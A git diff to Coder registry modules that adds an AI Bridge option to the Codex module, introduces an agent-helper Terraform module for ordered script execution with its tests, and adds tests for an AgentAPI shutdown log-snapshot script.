@@ -196,6 +236,7 @@ module "agentapi" {
|
||||
ARG_CODEX_START_DIRECTORY='${local.workdir}' \
|
||||
ARG_CODEX_TASK_PROMPT='${base64encode(var.ai_prompt)}' \
|
||||
ARG_CONTINUE='${var.continue}' \
|
||||
ARG_ENABLE_AIBRIDGE='${var.enable_aibridge}' \
|
||||
/tmp/start.sh
|
||||
EOT
|
||||
|
||||
@@ -211,10 +252,16 @@ module "agentapi" {
|
||||
ARG_INSTALL='${var.install_codex}' \
|
||||
ARG_CODEX_VERSION='${var.codex_version}' \
|
||||
ARG_BASE_CONFIG_TOML='${base64encode(var.base_config_toml)}' \
|
||||
ARG_ENABLE_AIBRIDGE='${var.enable_aibridge}' \
|
||||
ARG_AIBRIDGE_CONFIG='${base64encode(var.enable_aibridge ? local.aibridge_config : "")}' \
|
||||
ARG_ADDITIONAL_MCP_SERVERS='${base64encode(var.additional_mcp_servers)}' \
|
||||
ARG_CODER_MCP_APP_STATUS_SLUG='${local.app_slug}' \
|
||||
ARG_CODEX_START_DIRECTORY='${local.workdir}' \
|
||||
ARG_CODEX_INSTRUCTION_PROMPT='${base64encode(var.codex_system_prompt)}' \
|
||||
/tmp/install.sh
|
||||
EOT
|
||||
}
|
||||
}
|
||||
|
||||
output "task_app_id" {
|
||||
value = module.agentapi.task_app_id
|
||||
}
|
||||
|
||||
@@ -13,6 +13,8 @@ set -o nounset
|
||||
ARG_BASE_CONFIG_TOML=$(echo -n "$ARG_BASE_CONFIG_TOML" | base64 -d)
|
||||
ARG_ADDITIONAL_MCP_SERVERS=$(echo -n "$ARG_ADDITIONAL_MCP_SERVERS" | base64 -d)
|
||||
ARG_CODEX_INSTRUCTION_PROMPT=$(echo -n "$ARG_CODEX_INSTRUCTION_PROMPT" | base64 -d)
|
||||
ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false}
|
||||
ARG_AIBRIDGE_CONFIG=$(echo -n "$ARG_AIBRIDGE_CONFIG" | base64 -d)
|
||||
|
||||
echo "=== Codex Module Configuration ==="
|
||||
printf "Install Codex: %s\n" "$ARG_INSTALL"
|
||||
@@ -24,6 +26,7 @@ printf "Has Additional MCP: %s\n" "$([ -n "$ARG_ADDITIONAL_MCP_SERVERS" ] && ech
|
||||
printf "Has System Prompt: %s\n" "$([ -n "$ARG_CODEX_INSTRUCTION_PROMPT" ] && echo "Yes" || echo "No")"
|
||||
printf "OpenAI API Key: %s\n" "$([ -n "$ARG_OPENAI_API_KEY" ] && echo "Provided" || echo "Not provided")"
|
||||
printf "Report Tasks: %s\n" "$ARG_REPORT_TASKS"
|
||||
printf "Enable Coder AI Bridge: %s\n" "$ARG_ENABLE_AIBRIDGE"
|
||||
echo "======================================"
|
||||
|
||||
set +o nounset
|
||||
@@ -115,7 +118,7 @@ append_mcp_servers_section() {
|
||||
[mcp_servers.Coder]
|
||||
command = "coder"
|
||||
args = ["exp", "mcp", "server"]
|
||||
env = { "CODER_MCP_APP_STATUS_SLUG" = "${ARG_CODER_MCP_APP_STATUS_SLUG}", "CODER_MCP_AI_AGENTAPI_URL" = "${CODER_MCP_AI_AGENTAPI_URL}" , "CODER_AGENT_URL" = "${CODER_AGENT_URL}", "CODER_AGENT_TOKEN" = "${CODER_AGENT_TOKEN}" }
|
||||
env = { "CODER_MCP_APP_STATUS_SLUG" = "${ARG_CODER_MCP_APP_STATUS_SLUG}", "CODER_MCP_AI_AGENTAPI_URL" = "${CODER_MCP_AI_AGENTAPI_URL}" , "CODER_AGENT_URL" = "${CODER_AGENT_URL}", "CODER_AGENT_TOKEN" = "${CODER_AGENT_TOKEN}", "CODER_MCP_ALLOWED_TOOLS" = "coder_report_task" }
|
||||
description = "Report ALL tasks and statuses (in progress, done, failed) you are working on."
|
||||
type = "stdio"
|
||||
|
||||
@@ -127,6 +130,15 @@ EOF
|
||||
fi
|
||||
}
|
||||
|
||||
append_aibridge_config_section() {
|
||||
local config_path="$1"
|
||||
|
||||
if [ -n "$ARG_AIBRIDGE_CONFIG" ]; then
|
||||
printf "Adding AI Bridge configuration\n"
|
||||
echo -e "\n# AI Bridge Configuration\n$ARG_AIBRIDGE_CONFIG" >> "$config_path"
|
||||
fi
|
||||
}
|
||||
|
||||
function populate_config_toml() {
|
||||
CONFIG_PATH="$HOME/.codex/config.toml"
|
||||
mkdir -p "$(dirname "$CONFIG_PATH")"
|
||||
@@ -140,6 +152,11 @@ function populate_config_toml() {
|
||||
fi
|
||||
|
||||
append_mcp_servers_section "$CONFIG_PATH"
|
||||
|
||||
if [ "$ARG_ENABLE_AIBRIDGE" = "true" ]; then
|
||||
printf "AI Bridge is enabled\n"
|
||||
append_aibridge_config_section "$CONFIG_PATH"
|
||||
fi
|
||||
}
|
||||
|
||||
function add_instruction_prompt_if_exists() {
|
||||
@@ -185,4 +202,7 @@ install_codex
|
||||
codex --version
|
||||
populate_config_toml
|
||||
add_instruction_prompt_if_exists
|
||||
add_auth_json
|
||||
|
||||
if [ "$ARG_ENABLE_AIBRIDGE" = "false" ]; then
|
||||
add_auth_json
|
||||
fi
|
||||
|
||||
@@ -18,6 +18,7 @@ printf "Version: %s\n" "$(codex --version)"
|
||||
set -o nounset
|
||||
ARG_CODEX_TASK_PROMPT=$(echo -n "$ARG_CODEX_TASK_PROMPT" | base64 -d)
|
||||
ARG_CONTINUE=${ARG_CONTINUE:-true}
|
||||
ARG_ENABLE_AIBRIDGE=${ARG_ENABLE_AIBRIDGE:-false}
|
||||
|
||||
echo "=== Codex Launch Configuration ==="
|
||||
printf "OpenAI API Key: %s\n" "$([ -n "$ARG_OPENAI_API_KEY" ] && echo "Provided" || echo "Not provided")"
|
||||
@@ -26,6 +27,7 @@ printf "Start Directory: %s\n" "$ARG_CODEX_START_DIRECTORY"
|
||||
printf "Has Task Prompt: %s\n" "$([ -n "$ARG_CODEX_TASK_PROMPT" ] && echo "Yes" || echo "No")"
|
||||
printf "Report Tasks: %s\n" "$ARG_REPORT_TASKS"
|
||||
printf "Continue Sessions: %s\n" "$ARG_CONTINUE"
|
||||
printf "Enable Coder AI Bridge: %s\n" "$ARG_ENABLE_AIBRIDGE"
|
||||
echo "======================================"
|
||||
set +o nounset
|
||||
|
||||
@@ -153,7 +155,10 @@ setup_workdir() {
|
||||
build_codex_args() {
|
||||
CODEX_ARGS=()
|
||||
|
||||
if [ -n "$ARG_CODEX_MODEL" ]; then
|
||||
if [ "$ARG_ENABLE_AIBRIDGE" = "true" ]; then
|
||||
printf "AI Bridge is enabled, using profile aibridge\n"
|
||||
CODEX_ARGS+=("--profile" "aibridge")
|
||||
elif [ -n "$ARG_CODEX_MODEL" ]; then
|
||||
CODEX_ARGS+=("--model" "$ARG_CODEX_MODEL")
|
||||
fi
|
||||
|
||||
@@ -182,7 +187,7 @@ build_codex_args() {
|
||||
|
||||
if [ -n "$ARG_CODEX_TASK_PROMPT" ]; then
|
||||
if [ "${ARG_REPORT_TASKS}" == "true" ]; then
|
||||
PROMPT="Complete the task at hand in one go. Every step of the way, report your progress using coder_report_task tool with proper summary and statuses. Your task at hand: $ARG_CODEX_TASK_PROMPT"
|
||||
PROMPT="Complete the task at hand in one go. Every step of the way, report your progress using Coder.coder_report_task tool with proper summary and statuses. Your task at hand: $ARG_CODEX_TASK_PROMPT"
|
||||
else
|
||||
PROMPT="Your task at hand: $ARG_CODEX_TASK_PROMPT"
|
||||
fi
|
||||
|
||||
@@ -10,8 +10,6 @@ tags: [nextflow, workflow, hpc, bioinformatics]
|
||||
|
||||
A module that adds Nextflow to your Coder template.
|
||||
|
||||

|
||||
|
||||
```tf
|
||||
module "nextflow" {
|
||||
count = data.coder_workspace.me.start_count
|
||||
|
||||
@@ -0,0 +1,65 @@
|
||||
---
|
||||
display_name: Agent Helper
|
||||
description: Building block for modules that need orchestrated script execution
|
||||
icon: ../../../../.icons/coder.svg
|
||||
verified: false
|
||||
tags: [internal, library]
|
||||
---
|
||||
|
||||
# Agent Helper
|
||||
|
||||
> [!CAUTION]
|
||||
> We do not recommend using this module directly. It is intended primarily for internal use by Coder to create modules with orchestrated script execution.
|
||||
|
||||
The Agent Helper module is a building block for modules that need to run multiple scripts in a specific order. It uses `coder exp sync` for dependency management and is designed for orchestrating pre-install, install, post-install, and start scripts.
|
||||
|
||||
> [!NOTE]
|
||||
>
|
||||
> - The `agent_name` should be the same as that of the agentapi module's `agent_name` if used together.
|
||||
|
||||
```tf
|
||||
module "agent_helper" {
|
||||
source = "registry.coder.com/coder/agent-helper/coder"
|
||||
version = "1.0.0"
|
||||
|
||||
agent_id = coder_agent.main.id
|
||||
agent_name = "myagent"
|
||||
module_dir_name = ".my-module"
|
||||
|
||||
pre_install_script = <<-EOT
|
||||
#!/bin/bash
|
||||
echo "Running pre-install tasks..."
|
||||
# Your pre-install logic here
|
||||
EOT
|
||||
|
||||
install_script = <<-EOT
|
||||
#!/bin/bash
|
||||
echo "Installing dependencies..."
|
||||
# Your install logic here
|
||||
EOT
|
||||
|
||||
post_install_script = <<-EOT
|
||||
#!/bin/bash
|
||||
echo "Running post-install configuration..."
|
||||
# Your post-install logic here
|
||||
EOT
|
||||
|
||||
start_script = <<-EOT
|
||||
#!/bin/bash
|
||||
echo "Starting the application..."
|
||||
# Your start logic here
|
||||
EOT
|
||||
}
|
||||
```
|
||||
|
||||
## Execution Order
|
||||
|
||||
The module orchestrates scripts in the following order:
|
||||
|
||||
1. **Log File Creation** - Creates module directory and log files
|
||||
2. **Pre-Install Script** (optional) - Runs before installation
|
||||
3. **Install Script** - Main installation
|
||||
4. **Post-Install Script** (optional) - Runs after installation
|
||||
5. **Start Script** - Starts the application
|
||||
|
||||
Each script waits for its prerequisites to complete before running using `coder exp sync` dependency management.
|
||||
@@ -0,0 +1,13 @@
|
||||
import { describe } from "bun:test";
|
||||
import { runTerraformInit, testRequiredVariables } from "~test";
|
||||
|
||||
describe("agent-helper", async () => {
|
||||
await runTerraformInit(import.meta.dir);
|
||||
|
||||
testRequiredVariables(import.meta.dir, {
|
||||
agent_id: "test-agent-id",
|
||||
agent_name: "test-agent",
|
||||
module_dir_name: ".test-module",
|
||||
start_script: "echo 'start'",
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,190 @@
|
||||
terraform {
|
||||
required_version = ">= 1.0"
|
||||
|
||||
required_providers {
|
||||
coder = {
|
||||
source = "coder/coder"
|
||||
version = ">= 2.13"
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
variable "agent_id" {
|
||||
type = string
|
||||
description = "The ID of a Coder agent."
|
||||
}
|
||||
|
||||
data "coder_workspace" "me" {}
|
||||
|
||||
data "coder_workspace_owner" "me" {}
|
||||
|
||||
data "coder_task" "me" {}
|
||||
|
||||
variable "pre_install_script" {
|
||||
type = string
|
||||
description = "Custom script to run before installing the agent used by AgentAPI."
|
||||
default = null
|
||||
}
|
||||
|
||||
variable "install_script" {
|
||||
type = string
|
||||
description = "Script to install the agent used by AgentAPI."
|
||||
default = null
|
||||
}
|
||||
|
||||
variable "post_install_script" {
|
||||
type = string
|
||||
description = "Custom script to run after installing the agent used by AgentAPI."
|
||||
default = null
|
||||
}
|
||||
|
||||
variable "start_script" {
|
||||
type = string
|
||||
description = "Script that starts AgentAPI."
|
||||
}
|
||||
|
||||
variable "agent_name" {
|
||||
type = string
|
||||
description = "The name of the agent. This is used to construct unique script names for the experiment sync."
|
||||
|
||||
}
|
||||
|
||||
variable "module_dir_name" {
|
||||
type = string
|
||||
description = "The name of the module directory."
|
||||
}
|
||||
|
||||
locals {
|
||||
encoded_pre_install_script = var.pre_install_script != null ? base64encode(var.pre_install_script) : ""
|
||||
encoded_install_script = var.install_script != null ? base64encode(var.install_script) : ""
|
||||
encoded_post_install_script = var.post_install_script != null ? base64encode(var.post_install_script) : ""
|
||||
encoded_start_script = base64encode(var.start_script)
|
||||
|
||||
pre_install_script_name = "${var.agent_name}-pre_install_script"
|
||||
install_script_name = "${var.agent_name}-install_script"
|
||||
post_install_script_name = "${var.agent_name}-post_install_script"
|
||||
start_script_name = "${var.agent_name}-start_script"
|
||||
|
||||
module_dir_path = "$HOME/${var.module_dir_name}"
|
||||
|
||||
pre_install_path = "${local.module_dir_path}/pre_install.sh"
|
||||
install_path = "${local.module_dir_path}/install.sh"
|
||||
post_install_path = "${local.module_dir_path}/post_install.sh"
|
||||
start_path = "${local.module_dir_path}/start.sh"
|
||||
|
||||
pre_install_log_path = "${local.module_dir_path}/pre_install.log"
|
||||
install_log_path = "${local.module_dir_path}/install.log"
|
||||
post_install_log_path = "${local.module_dir_path}/post_install.log"
|
||||
start_log_path = "${local.module_dir_path}/start.log"
|
||||
}
|
||||
|
||||
resource "coder_script" "pre_install_script" {
|
||||
count = var.pre_install_script == null ? 0 : 1
|
||||
agent_id = var.agent_id
|
||||
display_name = "Pre-Install Script"
|
||||
run_on_start = true
|
||||
script = <<-EOT
|
||||
#!/bin/bash
|
||||
set -o errexit
|
||||
set -o pipefail
|
||||
|
||||
mkdir -p ${local.module_dir_path}
|
||||
|
||||
trap 'coder exp sync complete ${local.pre_install_script_name}' EXIT
|
||||
coder exp sync start ${local.pre_install_script_name}
|
||||
|
||||
echo -n '${local.encoded_pre_install_script}' | base64 -d > ${local.pre_install_path}
|
||||
chmod +x ${local.pre_install_path}
|
||||
|
||||
${local.pre_install_path} > ${local.pre_install_log_path} 2>&1
|
||||
EOT
|
||||
}
|
||||
|
||||
resource "coder_script" "install_script" {
|
||||
agent_id = var.agent_id
|
||||
display_name = "Install Script"
|
||||
run_on_start = true
|
||||
script = <<-EOT
|
||||
#!/bin/bash
|
||||
set -o errexit
|
||||
set -o pipefail
|
||||
|
||||
mkdir -p ${local.module_dir_path}
|
||||
|
||||
trap 'coder exp sync complete ${local.install_script_name}' EXIT
|
||||
%{if var.pre_install_script != null~}
|
||||
coder exp sync want ${local.install_script_name} ${local.pre_install_script_name}
|
||||
%{endif~}
|
||||
coder exp sync start ${local.install_script_name}
|
||||
echo -n '${local.encoded_install_script}' | base64 -d > ${local.install_path}
|
||||
chmod +x ${local.install_path}
|
||||
|
||||
${local.install_path} > ${local.install_log_path} 2>&1
|
||||
EOT
|
||||
}
|
||||
|
||||
resource "coder_script" "post_install_script" {
|
||||
count = var.post_install_script != null ? 1 : 0
|
||||
agent_id = var.agent_id
|
||||
display_name = "Post-Install Script"
|
||||
run_on_start = true
|
||||
script = <<-EOT
|
||||
#!/bin/bash
|
||||
set -o errexit
|
||||
set -o pipefail
|
||||
|
||||
trap 'coder exp sync complete ${local.post_install_script_name}' EXIT
|
||||
coder exp sync want ${local.post_install_script_name} ${local.install_script_name}
|
||||
coder exp sync start ${local.post_install_script_name}
|
||||
|
||||
echo -n '${local.encoded_post_install_script}' | base64 -d > ${local.post_install_path}
|
||||
chmod +x ${local.post_install_path}
|
||||
|
||||
${local.post_install_path} > ${local.post_install_log_path} 2>&1
|
||||
EOT
|
||||
}
|
||||
|
||||
resource "coder_script" "start_script" {
|
||||
agent_id = var.agent_id
|
||||
display_name = "Start Script"
|
||||
run_on_start = true
|
||||
script = <<-EOT
|
||||
#!/bin/bash
|
||||
set -o errexit
|
||||
set -o pipefail
|
||||
|
||||
trap 'coder exp sync complete ${local.start_script_name}' EXIT
|
||||
|
||||
%{if var.post_install_script != null~}
|
||||
coder exp sync want ${local.start_script_name} ${local.install_script_name} ${local.post_install_script_name}
|
||||
%{else~}
|
||||
coder exp sync want ${local.start_script_name} ${local.install_script_name}
|
||||
%{endif~}
|
||||
coder exp sync start ${local.start_script_name}
|
||||
|
||||
echo -n '${local.encoded_start_script}' | base64 -d > ${local.start_path}
|
||||
chmod +x ${local.start_path}
|
||||
|
||||
${local.start_path} > ${local.start_log_path} 2>&1
|
||||
EOT
|
||||
}
|
||||
|
||||
output "pre_install_script_name" {
|
||||
description = "The name of the pre-install script for sync."
|
||||
value = local.pre_install_script_name
|
||||
}
|
||||
|
||||
output "install_script_name" {
|
||||
description = "The name of the install script for sync."
|
||||
value = local.install_script_name
|
||||
}
|
||||
|
||||
output "post_install_script_name" {
|
||||
description = "The name of the post-install script for sync."
|
||||
value = local.post_install_script_name
|
||||
}
|
||||
|
||||
output "start_script_name" {
|
||||
description = "The name of the start script for sync."
|
||||
value = local.start_script_name
|
||||
}
|
||||
@@ -0,0 +1,271 @@
|
||||
# Test for agent-helper module
|
||||
|
||||
# Test with all scripts provided
|
||||
run "test_with_all_scripts" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-id"
|
||||
agent_name = "test-agent"
|
||||
module_dir_name = ".test-module"
|
||||
pre_install_script = "echo 'pre-install'"
|
||||
install_script = "echo 'install'"
|
||||
post_install_script = "echo 'post-install'"
|
||||
start_script = "echo 'start'"
|
||||
}
|
||||
|
||||
# Verify pre_install_script is created when provided
|
||||
assert {
|
||||
condition = length(coder_script.pre_install_script) == 1
|
||||
error_message = "Pre-install script should be created when pre_install_script is provided"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.pre_install_script[0].agent_id == "test-agent-id"
|
||||
error_message = "Pre-install script agent ID should match input"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.pre_install_script[0].display_name == "Pre-Install Script"
|
||||
error_message = "Pre-install script should have correct display name"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.pre_install_script[0].run_on_start == true
|
||||
error_message = "Pre-install script should run on start"
|
||||
}
|
||||
|
||||
# Verify install_script is created
|
||||
assert {
|
||||
condition = coder_script.install_script.agent_id == "test-agent-id"
|
||||
error_message = "Install script agent ID should match input"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.install_script.display_name == "Install Script"
|
||||
error_message = "Install script should have correct display name"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.install_script.run_on_start == true
|
||||
error_message = "Install script should run on start"
|
||||
}
|
||||
|
||||
# Verify post_install_script is created when provided
|
||||
assert {
|
||||
condition = length(coder_script.post_install_script) == 1
|
||||
error_message = "Post-install script should be created when post_install_script is provided"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.post_install_script[0].agent_id == "test-agent-id"
|
||||
error_message = "Post-install script agent ID should match input"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.post_install_script[0].display_name == "Post-Install Script"
|
||||
error_message = "Post-install script should have correct display name"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.post_install_script[0].run_on_start == true
|
||||
error_message = "Post-install script should run on start"
|
||||
}
|
||||
|
||||
# Verify start_script is created
|
||||
assert {
|
||||
condition = coder_script.start_script.agent_id == "test-agent-id"
|
||||
error_message = "Start script agent ID should match input"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.start_script.display_name == "Start Script"
|
||||
error_message = "Start script should have correct display name"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.start_script.run_on_start == true
|
||||
error_message = "Start script should run on start"
|
||||
}
|
||||
|
||||
# Verify outputs for script names
|
||||
assert {
|
||||
condition = output.pre_install_script_name == "test-agent-pre_install_script"
|
||||
error_message = "Pre-install script name output should be correctly formatted"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.install_script_name == "test-agent-install_script"
|
||||
error_message = "Install script name output should be correctly formatted"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.post_install_script_name == "test-agent-post_install_script"
|
||||
error_message = "Post-install script name output should be correctly formatted"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.start_script_name == "test-agent-start_script"
|
||||
error_message = "Start script name output should be correctly formatted"
|
||||
}
|
||||
}
|
||||
|
||||
# Test with only required scripts (no pre/post install)
|
||||
run "test_without_optional_scripts" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent-id"
|
||||
agent_name = "test-agent"
|
||||
module_dir_name = ".test-module"
|
||||
install_script = "echo 'install'"
|
||||
start_script = "echo 'start'"
|
||||
}
|
||||
|
||||
# Verify pre_install_script is NOT created when not provided
|
||||
assert {
|
||||
condition = length(coder_script.pre_install_script) == 0
|
||||
error_message = "Pre-install script should not be created when pre_install_script is null"
|
||||
}
|
||||
|
||||
# Verify post_install_script is NOT created when not provided
|
||||
assert {
|
||||
condition = length(coder_script.post_install_script) == 0
|
||||
error_message = "Post-install script should not be created when post_install_script is null"
|
||||
}
|
||||
|
||||
# Verify required scripts are still created
|
||||
assert {
|
||||
condition = coder_script.install_script.agent_id == "test-agent-id"
|
||||
error_message = "Install script should be created"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.start_script.agent_id == "test-agent-id"
|
||||
error_message = "Start script should be created"
|
||||
}
|
||||
|
||||
# Verify outputs
|
||||
assert {
|
||||
condition = output.pre_install_script_name == "test-agent-pre_install_script"
|
||||
error_message = "Pre-install script name output should be generated even when script is not created"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.install_script_name == "test-agent-install_script"
|
||||
error_message = "Install script name output should be correctly formatted"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.post_install_script_name == "test-agent-post_install_script"
|
||||
error_message = "Post-install script name output should be generated even when script is not created"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.start_script_name == "test-agent-start_script"
|
||||
error_message = "Start script name output should be correctly formatted"
|
||||
}
|
||||
}
|
||||
|
||||
# Test with mock data sources
|
||||
run "test_with_mock_data" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "mock-agent"
|
||||
agent_name = "mock-agent"
|
||||
module_dir_name = ".mock-module"
|
||||
install_script = "echo 'install'"
|
||||
start_script = "echo 'start'"
|
||||
}
|
||||
|
||||
# Mock the data sources for testing
|
||||
override_data {
|
||||
target = data.coder_workspace.me
|
||||
values = {
|
||||
id = "test-workspace-id"
|
||||
name = "test-workspace"
|
||||
owner = "test-owner"
|
||||
owner_id = "test-owner-id"
|
||||
template_id = "test-template-id"
|
||||
template_name = "test-template"
|
||||
access_url = "https://coder.example.com"
|
||||
start_count = 1
|
||||
transition = "start"
|
||||
}
|
||||
}
|
||||
|
||||
override_data {
|
||||
target = data.coder_workspace_owner.me
|
||||
values = {
|
||||
id = "test-owner-id"
|
||||
email = "test@example.com"
|
||||
name = "Test User"
|
||||
session_token = "mock-token"
|
||||
}
|
||||
}
|
||||
|
||||
override_data {
|
||||
target = data.coder_task.me
|
||||
values = {
|
||||
id = "test-task-id"
|
||||
}
|
||||
}
|
||||
|
||||
# Verify scripts are created with mocked data
|
||||
assert {
|
||||
condition = coder_script.install_script.agent_id == "mock-agent"
|
||||
error_message = "Install script should use the mocked agent ID"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = coder_script.start_script.agent_id == "mock-agent"
|
||||
error_message = "Start script should use the mocked agent ID"
|
||||
}
|
||||
}
|
||||
|
||||
# Test script naming with custom agent_name
|
||||
run "test_script_naming" {
|
||||
command = plan
|
||||
|
||||
variables {
|
||||
agent_id = "test-agent"
|
||||
agent_name = "custom-name"
|
||||
module_dir_name = ".test-module"
|
||||
install_script = "echo 'install'"
|
||||
start_script = "echo 'start'"
|
||||
}
|
||||
|
||||
# Verify script names are constructed correctly
|
||||
# The script should contain references to custom-name-* in the sync commands
|
||||
assert {
|
||||
condition = can(regex("custom-name-install_script", coder_script.install_script.script))
|
||||
error_message = "Install script should use custom agent_name in sync commands"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = can(regex("custom-name-start_script", coder_script.start_script.script))
|
||||
error_message = "Start script should use custom agent_name in sync commands"
|
||||
}
|
||||
|
||||
# Verify outputs use custom agent_name
|
||||
assert {
|
||||
condition = output.pre_install_script_name == "custom-name-pre_install_script"
|
||||
error_message = "Pre-install script name output should use custom agent_name"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.install_script_name == "custom-name-install_script"
|
||||
error_message = "Install script name output should use custom agent_name"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.post_install_script_name == "custom-name-post_install_script"
|
||||
error_message = "Post-install script name output should use custom agent_name"
|
||||
}
|
||||
|
||||
assert {
|
||||
condition = output.start_script_name == "custom-name-start_script"
|
||||
error_message = "Start script name output should use custom agent_name"
|
||||
}
|
||||
}
|
||||
@@ -16,7 +16,7 @@ The AgentAPI module is a building block for modules that need to run an AgentAPI
|
||||
```tf
|
||||
module "agentapi" {
|
||||
source = "registry.coder.com/coder/agentapi/coder"
|
||||
version = "2.0.0"
|
||||
version = "2.1.1"
|
||||
|
||||
agent_id = var.agent_id
|
||||
web_app_slug = local.app_slug
|
||||
@@ -49,6 +49,19 @@ module "agentapi" {
|
||||
}
|
||||
```
|
||||
|
||||
## Task log snapshot
|
||||
|
||||
Captures the last 10 messages from AgentAPI when a task workspace stops. This allows viewing conversation history while the task is paused.
|
||||
|
||||
To enable for task workspaces:
|
||||
|
||||
```tf
|
||||
module "agentapi" {
|
||||
# ... other config
|
||||
task_log_snapshot = true # default: true
|
||||
}
|
||||
```
|
||||
|
||||
## For module developers
|
||||
|
||||
For a complete example of how to use this module, see the [Goose module](https://github.com/coder/registry/blob/main/registry/coder/modules/goose/main.tf).
|
||||
|
||||
@@ -257,4 +257,157 @@ describe("agentapi", async () => {
|
||||
);
|
||||
expect(agentApiStartLog).toContain("AGENTAPI_ALLOWED_HOSTS: *");
|
||||
});
|
||||
|
||||
describe("shutdown script", async () => {
|
||||
const setupMocks = async (
|
||||
containerId: string,
|
||||
agentapiPreset: string,
|
||||
httpCode: number = 204,
|
||||
) => {
|
||||
const agentapiMock = await loadTestFile(
|
||||
import.meta.dir,
|
||||
"agentapi-mock-shutdown.js",
|
||||
);
|
||||
const coderMock = await loadTestFile(
|
||||
import.meta.dir,
|
||||
"coder-instance-mock.js",
|
||||
);
|
||||
|
||||
await writeExecutable({
|
||||
containerId,
|
||||
filePath: "/usr/local/bin/mock-agentapi",
|
||||
content: agentapiMock,
|
||||
});
|
||||
|
||||
await writeExecutable({
|
||||
containerId,
|
||||
filePath: "/usr/local/bin/mock-coder",
|
||||
content: coderMock,
|
||||
});
|
||||
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`PRESET=${agentapiPreset} nohup node /usr/local/bin/mock-agentapi 3284 > /tmp/mock-agentapi.log 2>&1 &`,
|
||||
]);
|
||||
|
||||
await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`HTTP_CODE=${httpCode} nohup node /usr/local/bin/mock-coder 18080 > /tmp/mock-coder.log 2>&1 &`,
|
||||
]);
|
||||
|
||||
await new Promise((resolve) => setTimeout(resolve, 1000));
|
||||
};
|
||||
|
||||
const runShutdownScript = async (
|
||||
containerId: string,
|
||||
taskId: string = "test-task",
|
||||
) => {
|
||||
const shutdownScript = await loadTestFile(
|
||||
import.meta.dir,
|
||||
"../scripts/agentapi-shutdown.sh",
|
||||
);
|
||||
|
||||
await writeExecutable({
|
||||
containerId,
|
||||
filePath: "/tmp/shutdown.sh",
|
||||
content: shutdownScript,
|
||||
});
|
||||
|
||||
return await execContainer(containerId, [
|
||||
"bash",
|
||||
"-c",
|
||||
`ARG_TASK_ID=${taskId} ARG_AGENTAPI_PORT=3284 CODER_AGENT_URL=http://localhost:18080 CODER_AGENT_TOKEN=test-token /tmp/shutdown.sh`,
|
||||
]);
|
||||
};
|
||||
|
||||
test("posts snapshot with normal messages", async () => {
|
||||
const { id } = await setup({
|
||||
moduleVariables: {},
|
||||
skipAgentAPIMock: true,
|
||||
});
|
||||
|
||||
await setupMocks(id, "normal");
|
||||
const result = await runShutdownScript(id);
|
||||
|
||||
expect(result.exitCode).toBe(0);
|
||||
expect(result.stdout).toContain("Retrieved 5 messages for log snapshot");
|
||||
expect(result.stdout).toContain("Log snapshot posted successfully");
|
||||
|
||||
const posted = await readFileContainer(id, "/tmp/snapshot-posted.json");
|
||||
const snapshot = JSON.parse(posted);
|
||||
expect(snapshot.task_id).toBe("test-task");
|
||||
expect(snapshot.payload.messages).toHaveLength(5);
|
||||
expect(snapshot.payload.messages[0].content).toBe("Hello");
|
||||
expect(snapshot.payload.messages[4].content).toBe("Great");
|
||||
});
|
||||
|
||||
test("truncates to last 10 messages", async () => {
|
||||
const { id } = await setup({
|
||||
moduleVariables: {},
|
||||
skipAgentAPIMock: true,
|
||||
});
|
||||
|
||||
await setupMocks(id, "many");
|
||||
const result = await runShutdownScript(id);
|
||||
|
||||
expect(result.exitCode).toBe(0);
|
||||
|
||||
const posted = await readFileContainer(id, "/tmp/snapshot-posted.json");
|
||||
const snapshot = JSON.parse(posted);
|
||||
expect(snapshot.task_id).toBe("test-task");
|
||||
expect(snapshot.payload.messages).toHaveLength(10);
|
||||
expect(snapshot.payload.messages[0].content).toBe("Message 6");
|
||||
expect(snapshot.payload.messages[9].content).toBe("Message 15");
|
||||
});
|
||||
|
||||
test("truncates huge message content", async () => {
|
||||
const { id } = await setup({
|
||||
moduleVariables: {},
|
||||
skipAgentAPIMock: true,
|
||||
});
|
||||
|
||||
await setupMocks(id, "huge");
|
||||
const result = await runShutdownScript(id);
|
||||
|
||||
expect(result.exitCode).toBe(0);
|
||||
expect(result.stdout).toContain("truncating final message content");
|
||||
|
||||
const posted = await readFileContainer(id, "/tmp/snapshot-posted.json");
|
||||
const snapshot = JSON.parse(posted);
|
||||
expect(snapshot.task_id).toBe("test-task");
|
||||
expect(snapshot.payload.messages).toHaveLength(1);
|
||||
expect(snapshot.payload.messages[0].content).toContain(
|
||||
"[...content truncated",
|
||||
);
|
||||
});
|
||||
|
||||
test("skips gracefully when TASK_ID is empty", async () => {
|
||||
const { id } = await setup({
|
||||
moduleVariables: {},
|
||||
skipAgentAPIMock: true,
|
||||
});
|
||||
|
||||
const result = await runShutdownScript(id, "");
|
||||
|
||||
